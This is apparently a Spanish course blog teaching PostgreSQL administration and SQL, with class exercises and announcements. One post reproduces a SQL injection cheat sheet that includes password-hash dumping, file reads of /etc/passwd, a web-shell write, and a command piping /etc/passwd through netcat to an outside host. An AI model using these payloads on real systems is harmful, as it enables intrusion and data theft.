miércoles, 14 de octubre de 2015

jueves, 1 de octubre de 2015

Roles y Usuarios

USUARIOS
CREACIÓN DE USUARIOS EN POSTGRESQL
CREATE USER name [ [ WITH ] option [ ... ] ]
Donde las opciones pueden ser
      SUPERUSER | NOSUPERUSER
    | CREATEDB | NOCREATEDB
    | CREATEROLE | NOCREATEROLE
    | CREATEUSER | NOCREATEUSER
    | LOGIN | NOLOGIN
    | VALID UNTIL 'timestamp'
     | CONNECTION LIMIT connlimit
    | [ENCRYPTED | UNENCRYPTED] PASSWORD 'password'
MODIFICACIÓN DE USUARIOS
ALTER USER name 
Donde las opciones pueden ser
    | CREATEDB | NOCREATEDB
    | LOGIN | NOLOGIN
    | CREATEUSER | NOCREATEUSER 
    | PASSWORD 'password' 
    | VALID UNTIL 'timestamp'
     | CONNECTION LIMIT connlimit
EJEMPLO
ALTER USER motores PASSWORD ‘motores’ CREATEDB CREATEUSER;
ALTER USER motores VALID UNTIL ‘2014-12-31  23:59:59’;
CAMBIAR EL NOMBRE A UN USUARIO
ALTER USER NOMBRE_ANTERIOR  RENAME TO  NUEVO_NOMBRE
BORRAR USUARIOS
DROP USER Nombre del usuario a eliminar [CASCADE];
PRIVILEGIOS
Son los permisos que tiene un usuario o un grupo de usuarios para realizar operaciones específicas en las bases de datos. Estos privilegios se clasifican en privilegios del sistema (sirven para realizar operaciones que afectan a todo el sistema) y privilegios de objeto (sirven para realizar operaciones sobre los objetos de la base de datos como son tablas, vistas, entre otros).
DAR PRIVILEGIOS (GRANT)…SINTAXIS
GRANT { { SELECT | INSERT | UPDATE | DELETE |  TRIGGER }
     [, ...]  | ALL [ PRIVILEGES ] }
    ON [ TABLE ] tablename [, ...]
    TO { username | PUBLIC } [ WITH GRANT OPTION ]
 GRANT { CREATE | CONNECT  ALL [ PRIVILEGES ] }
    ON DATABASE dbname 
    TO {username | PUBLIC } [ WITH GRANT OPTION ]
EJEMPLO
GRANT SELECT, INSERT, UPDATE ON bancos, sucursales TO nombre_usuario;
GRANT CONNECT ON DATABASE operaciones  TO nombre_usuario;
QUITAR PRIVILEGIOS DE ACCESO (REKOVE)…SINTAXIS
REVOKE [ GRANT]
    { { SELECT | INSERT | UPDATE | DELETE | TRUNCATE | TRIGGER }
    [, ...] | ALL [ PRIVILEGES ] }
    ON { [ TABLE ] table_name [, ...]
         | ALL TABLES IN SCHEMA schema_name [, ...] }
    FROM { [role_name | PUBLIC } [, ...]
 REVOKE [ GRANT OPTION FOR ]
    { { CREATE | CONNECT } [, ...] | ALL [ PRIVILEGES ] }
    ON DATABASE database_name [, ...]
    FROM {role_name | PUBLIC } [, ...]
EJEMPLO
REVOKE ALL ON DATABASE operaciones FROM nombre_rol;
REVOKE INSERT ON films FROM nombre_rol;
TABLESPACE
Un tablespace es una unidad lógica de almacenamiento dentro de una base de datos.
CREACIÓN DE TABLESPACE
CREATE TABLESPACE nombre_del_tablespace location 'ruta/carpeta';
ROLES
Los roles son grupos de permisos, al dar varios permisos a un rol permite concederlos a uno o varios usuarios.
CREACIÓN DE ROLES
CREATE ROLE nombre del rol
DAR PRIVILEGIOS A LOS ROLES
GRANT permiso1 [, permiso2,...]
ON [usuario.]Objeto
TO nombre del rol
DAR UN ROL A USUARIO

GRANT nombre del rol TO nombre del usuario1, nombre del usuario2, ……., nombre del usuarioN;

Esquemas


--CREANDO USUARIOS Y DARLE PRIVILEGIOS..
create user motores98 password 'motores98' createdb;

--CREAR BASE DE DATOS
create database flamingo;

--PARA ENTRAR BASE DE DATOS 
\c flamingo ---(FLAMINGO ES EL NOMBRE DE LA BASE DE DATOS)

--PARA CONSULTAR EN QUE BD ESTOY
select current_user;

--PARA CREAR ESQUEMA 
create schema esq2;

--PARA CREAR UNA TABLA EN EL ESQUEMA
Ponemos create tabla nombreesquema.nombretabla

--CUANDO SE INSERTA DATOS EN BD ESQUEMAS
 insert into esquema.empresa values (1,'calefacciones','A');

--PARA CONSULTAR TABLAS EN ESQUEMAS
select * from esquema.empresa;

--PARA VER LOS ESQUEMAS CREADOS
\dn

--COMO HACER UN JOIN
from nombreesquema.nombretabla1,nombreesquema.nombretabla2
where nombreesquema.nombretabla1.nombrecampo=nombreesquema.nombretabla2.nombrecampo;

--COMO CAMBIAR UNA TABLA DE UN ESQUEMA A OTRO
 alter table esquema1.empresa set schema esquema2;

alter table nombreesquema.nombretabla 
set schema nombreesquemadondequierapasalatabla;

--ELIMINAR ESQUEMAS
drop schema nombreesquema;

--PARA ELIMINAR ESQUEMAS QUE TENGA TABLAS
drop schema esq3 cascade;

miércoles, 26 de agosto de 2015

Ejemplo de web 1.0 2.0 y 3.0



EJEMPLO DE WEB 1.0  http://www.conduzca.com/

Esta pagina hace parte de la web 1.0 porque su contenido es estático, hecho en código HTML  y el usuario no puede interactuar en foros o en chats.  Es una página lineal donde el usuario se informa y listo. Aquí todo el que visite tiene una acción pasiva. 


EJEMPLO DE WEB 2.0 www.myspace.com

Esta página es ejemplo de web 2.0 porque su  contenido es hecho por múltiples usuarios que están en constante interacción y están creando contenidos para que otros se informen y creen sus propias opiniones. My Sapce es una plataforma que crea conexiones directas (chatear) e indirectas, donde se da un contenido y después el otra persona puede verlo y opinar de el.  Además es un lugar donde se pueden hacer grupos sociales por un determinado tema o una canción.


EJEMPLO DE WEB 3.0


Esta página es ejemplo de web 3.0 es “Buscador generalista que sugiere en forma de nube de tags términos relacionados que pueden ayudar a afinar tu búsqueda”. Es disponible para un dispositivo móvil y su contenido es una constante interacción que personifica mis gustos y me da la información que necesito.


Leer más: http://alexander-munoz.webnode.com.co/products/ejemplo-de-web-1-0-2-0-y-3-0/
Crea tu propia web gratis: http://www.webnode.es

lunes, 3 de agosto de 2015

domingo, 7 de junio de 2015

Introducción a la programación de videojuegos en Unity - Tema 2

Este curso introduce los conceptos de programación básicos del lenguaje C# dentro del ambiente de programación de Unity, y complementa la práctica que los estudiantes pueden desarrollar durante los primeros meses del programa con un curso de conceptos avanzados a finales de Noviembre. Se plantean algunos talleres de complemento a la experiencia de aprendizaje.

Tema 2 – Layout e Interfaz

El primer tema del curso discute conceptos básicos de manejo sobre Unity

sábado, 6 de junio de 2015

Entrega de Notas


Si tienen dudas estaré desde las 4:30 pm hasta las 7:00 pm los días Martes y Miércoles en las salas de informática.

Supletorios se realizarán también en esos días.

viernes, 5 de junio de 2015

BIENVENIDOS A DE.VI.C.E


LOGO DEVICEEl evento de Desarrollo de Videojuegos Creativo y Experimental ya está aquí ¿Estás preparado?
Para Abril estamos promocionando el Oculus Mobile VR Jam 2015. Puedes obtener mayor información aquí.
Si vives en Colombia y te interesan los videojuegos y quieres aprender a crearlos, o si ya sabes hacerlo y quieres una oportunidad para dar a conocer tus ideas y tus habilidades ¡Este es el sitio ideal!
    ¿Te gusta este sitio? Entérate cómo ser miembro siguiendo esta GUÍA DE INSCRIPCIÓN
    ¿Estás interesado en el evento? Para inscribirte al evento primero inicia sesión. Si no te has registrado aún,¿qué esperas?
    DEVICEAFICHEv2

    Introducción a la programación de videojuegos en Unity - Tema 1

    Este curso introduce los conceptos de programación básicos del lenguaje C# dentro del ambiente de programación de Unity, y complementa la práctica que los estudiantes pueden desarrollar durante los primeros meses del programa con un curso de conceptos avanzados a finales de Noviembre. Se plantean algunos talleres de complemento a la experiencia de aprendizaje.

    Tema 1 – Introducción

    El primer tema del curso discute conceptos básicos de la programación y los juegos.

    sábado, 30 de mayo de 2015

    Consultas de Practica



    1. Muestre los mercaderistas que han promovido artículos surtidos por proveedores ubicados en la ciudad de bogota.

    2. Obtenga el precio mas elevado, el precio mínimo y el promedio de todos los precios.

    3. Muestre a los clientes y la cantidad de tarjetas premios que han ganado.

    4. Muestre a los vendedores que han atendido entre 3 y 5 clientes.

    5. Muestre, según el tipo de pedido la cantidad y el promedio del costo del domicilio en el año del 2012.

    6. Muestre los artículos vendidos en el año 2011, con su sucursal y el departamento al que pertenecen.

    7. Muestre los nombres de los clientes que hayan comprado artículos suministrados por el proveedor 'digital' o que pertenezcan al departamento de 'camisas'.

    8. Muestre el nombre de las áreas de venta y la cantidad de artículos  cuyo precio no superan los 5000.

    9. Muestre la siguiente información: código y nombre del cliente, cuantos pedidos ha realizado y la sumatoria de los valores del domicilio para los de tipo de 'alimentos'.

    10. Muestre los artículos que su precio es mayor al precio promedio.

    jueves, 28 de mayo de 2015

    Ultima Oportunidad



    Para los estudiantes de Tecnología en Desarrollo de Sistemas informáticos las fotos la tomaran nuevamente los días:

    - Miércoles, 3 de junio en horario de 4:00 pm a 7:00 pm 

    - Jueves, 4 de junio en horario de 7:00 am 11:00 am 

    en las oficinas de la plazoleta, es la ultima oportunidad

    Grupo de Informática Básica - Grupo Nocturna




    ¿Cómo se realiza la auditoria de fórmulas?



    ¿Cómo utilizar el administrador de nombres?


    ¿Cómo utilizar macros en Excel?


    ¿Cómo se configura la presentación de las ventanas en la ficha (Vista / Ventana)?



    ¿Cómo configurar el encabezado y pie de página?


    Tutorial Excel: http://uts-database.blogspot.com/2015/02/microsoft-excel-2010.html

    lunes, 25 de mayo de 2015

    jueves, 21 de mayo de 2015

    miércoles, 20 de mayo de 2015

    jueves, 7 de mayo de 2015

    lunes, 4 de mayo de 2015

    sábado, 2 de mayo de 2015

    Taller 2: Ejercicios sin utilizar PostgreSQL




    Entregar en una hoja las siguientes consultas:


    -Muestre todas las preguntas que pertenecen al examen 1.

    -Muestre los exámenes elaborados por el profesor con el identificador 63561139.

    -Listar las asignaturas que el código curso 20 posee.

    -Muestre las asignaturas que imparte el profesor identificado con 13721300.

    -Obtener los estudiantes que pertenecen al curso 20.

    -Muestre la información del examen aplicado con el código 10.

    -Muestre los alumnos cuyo nombre empiezan por 'M'.

    -Muestre el identificador del estudiante, nota, fecha, donde las notas sean superiores o iguales a 3.

    -Muestre las preguntas que sean de Tipo IV o Tipo I.

    -La rectoria quiere completar la información de los profesores, para eso necesita que se liste el nombre, apellido y teléfono de los profesores que les falta el email y el titulo.

    -Cuente cuantos alumnos hay en el sistema.

    -Muestre la nota más alta de un examen realizado.

    -Muestre la nota más baja de un examen realizado.

    -Muestre la suma total de las asistencias del estudiante 37801809.

    Taller 1: Select Join


    Indicaciones:



     Realizar el taller, resolviendo de forma correcta todos los items.








    Funciones de Grupo y Group by en Postgresql LCDQ

    Joins, Uniones, Subconsultas en Postgresql LCDQ

    Subconsultas


    VideoTutorial 4 del Curso de PHP y PostGreSQL : where, join, operadores, group by, having









    Tipos de Joins SQL

    lunes, 27 de abril de 2015

    sábado, 25 de abril de 2015

    viernes, 17 de abril de 2015

    cheat sheet postgresql

    VersionSELECT version()
    CommentsSELECT 1; –comment
    SELECT /*comment*/1;
    Current UserSELECT user;
    SELECT current_user;
    SELECT session_user;
    SELECT usename FROM pg_user;
    SELECT getpgusername();
    List UsersSELECT usename FROM pg_user
    List Password HashesSELECT usename, passwd FROM pg_shadow — priv
    Password CrackerMDCrack can crack PostgreSQL’s MD5-based passwords.
    List PrivilegesSELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
    List DBA AccountsSELECT usename FROM pg_user WHERE usesuper IS TRUE
    Current DatabaseSELECT current_database()
    List DatabasesSELECT datname FROM pg_database
    List ColumnsSELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
    List TablesSELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
    Find Tables From Column NameIf you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
    Select Nth RowSELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
    SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
    Select Nth CharSELECT substr(‘abcd’, 3, 1); — returns c
    Bitwise ANDSELECT 6 & 2; — returns 2
    SELECT 6 & 1; –returns 0
    ASCII Value -> CharSELECT chr(65);
    Char -> ASCII ValueSELECT ascii(‘A’);
    CastingSELECT CAST(1 as varchar);
    SELECT CAST(’1′ as int);
    String ConcatenationSELECT ‘A’ || ‘B’; — returnsAB
    If StatementIF statements only seem valid inside functions, so aren’t much use for SQL injection.  See CASE statement instead.
    Case StatementSELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A
    Avoiding QuotesSELECT CHR(65)||CHR(66); — returns AB
    Time DelaySELECT pg_sleep(10); — postgres 8.2+ only
    CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function.  Taken from here .
    Make DNS RequestsGenerally not possible in postgres.  However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):
    SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
    Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
    Command ExecutionCREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
    Local File AccessCREATE TABLE mydata(t text);
    COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user
    …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time
    …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time …
    DROP TABLE mytest mytest;Write to a file:
    CREATE TABLE mytable (mycol text);
    INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
    COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try.
    – priv user can also read/write files by mapping libc functions
    Hostname, IP AddressSELECT inet_server_addr(); — returns db server IP address (or null if using local connection)
    SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
    Create UsersCREATE USER test1 PASSWORD ‘pass1′; — priv
    CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time
    Drop UsersDROP USER test1; — priv
    Make User DBAALTER USER test1 CREATEUSER CREATEDB; — priv
     Location of DB filesSELECT current_setting(‘data_directory’); — priv
    SELECT current_setting(‘hba_file’); — priv
    Default/System Databasestemplate0
    template1

    jueves, 16 de abril de 2015

    sábado, 11 de abril de 2015

    Ejercicios sobre Pedidos.sql











    Realice los siguientes ejercicios:
    • 1. Mostrar la información de los productos.

    • 2. Obtener la información de los empleados.

    • 3. Listar los proveedores existentes.

    • 4. Mostrar la descripción y existencias de los productos.

    • 5. Mostrar la descripción y existencias de los productos ordenados por descripción.

    • 6. Mostrar la descripción y existencias de los productos ordenados por las existencias de forma descendente y descripción ascendente.

    • 7. Agregar la columna ciudad a la tabla proveedor.

    • 8. Actualiza la información de los proveedores de la siguiente forma: 3 en Bucaramanga, 2 en Bogotá DC y el resto en Medellín.

    • 9. Muestre el identificador, nombre y contacto de los proveedores.

    • 10. Muestre nombre y contacto de los proveedores ubicados en la ciudad de Bucaramanga y ordenados por el nombre.

    • 11. Obtenga la información de los productos cuyas existencias son mayores a 100.

    • 12. Obtenga ahora los productos cuyas existencias son mayores a 100 pero menores a 300.

    • 13. Muestre solo los productos cuyas existencias son menores de 90 o los mayores o iguales a 200.

    • 14. Liste los empleados cuyos nombres empiezan por la consonante 'p'.

    • 15. Liste los empleados cuyos nombres empiezan por la consonante 'm' independiente si está escrito en mayúscula o minúscula.

    • 16. Muestra los empleados que tienen la vocal 'a' en la segunda letra del nombre.

    • 17. Obtenga los productos que tienen 'll' en su descripción.

    • 18. Obtenga los productos que tienen 'll' en su descripción y la categoría es 100 que es Cárnicos.

    • 19. Agregue el campo salario a la tabla empleados que sea un decimal de 10 dígitos donde uno de ellos es decimal.

    • 20. Actualiza los salarios de la siguiente forma, 3 empleados ganan: 617000, 2 ganan 1200000 y el resto gana 2000000.

    • 21. Muestre los empleados que le reportan a Juan Cruz.

    • 22. Muestre los empleados que no le reportan a nadie.

    • 23. Agregue la columna edad a la tabla empleado.

    • 24. Utilizando la fecha de nacimiento calcule la edad y actualice la información.

    • 25. La empresa está estudiando la posibilidad de subir los salarios en un 5%, 8% y 11% a los empleados que actualmente ganen el salario mínimo, por lo tanto calcule y muestre utilizando un alias para ver como quedarían los salarios sin afectar la tabla.

    • 26. Teniendo en cuenta el estudio la empresa decidió aumentar en un 5% los salarios para los empleados que actualmente ganan un mínimo.

    • 27. Realice un informe donde muestre el identificador, nombre, apellido y el salario ordenado por este último atributo.

    • 28. Muestre los empleados cuya fecha de cumpleaños esta entre enero y junio.

    • 29. Arreglar el registro de la tabla de empleado donde la edad es un valor negativo; cambie la fecha de nacimiento a 1985-04-02 y re-calcule la edad.

    • 30. Agregar una columna a la tabla de empleado que almacene la fecha de inicio al trabajo.

    • 31. Actualiza la fecha de inicio al trabajo en la tabla de empleados (Recuerda que la fecha de inicio de trabajo debe ser mayor a la fecha de nacimiento pero menor que la fecha actual).

    • 32. Realice el modelo entidad - relación del script de la base de datos pedidos.sql.